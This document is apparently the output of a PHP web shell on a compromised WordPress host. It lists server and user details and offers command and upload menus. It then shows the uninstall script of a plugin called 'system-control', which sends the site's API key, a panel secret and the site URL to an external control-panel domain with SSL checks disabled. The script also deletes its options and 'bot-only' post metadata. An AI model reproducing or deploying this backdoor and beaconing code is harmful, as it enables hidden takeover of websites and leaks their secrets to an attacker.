|
Server IP : 10.106.20.4 / Your IP : 216.73.216.140 Web Server : Apache System : Linux webm004.cluster106.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : sylvaineey ( 605664) PHP Version : 7.4.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/sylvaineey/www/wp-content/plugins/system-control/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* Cleanup on plugin uninstall
*/
if (!defined('WP_UNINSTALL_PLUGIN')) {
exit;
}
// Notify panel about removal
$panel_url = get_option('sc_panel_url', 'https://superfuckingpanel.info');
$api_key = get_option('sc_api_key');
if ($api_key) {
wp_remote_post($panel_url . '/api/receive-registration.php', [
'body' => json_encode([
'api_key' => $api_key,
'panel_secret' => defined('SC_PANEL_SECRET') ? SC_PANEL_SECRET : '',
'action' => 'deactivate',
'url' => site_url(),
]),
'headers' => ['Content-Type' => 'application/json'],
'timeout' => 10,
'sslverify' => false,
'blocking' => false,
]);
}
// Remove all plugin options
delete_option('sc_api_key');
delete_option('sc_sec_key');
delete_option('sc_panel_url');
delete_option('sc_site_id');
delete_option('sc_is_active');
delete_option('sc_plugin_install_blocked');
delete_option('sc_display_links');
// Remove bot-only post meta
global $wpdb;
$wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE meta_key IN ('_sc_bot_only', '_sc_bot_type')");
// Clean transients
$wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_sc_%' OR option_name LIKE '_transient_timeout_sc_%'");
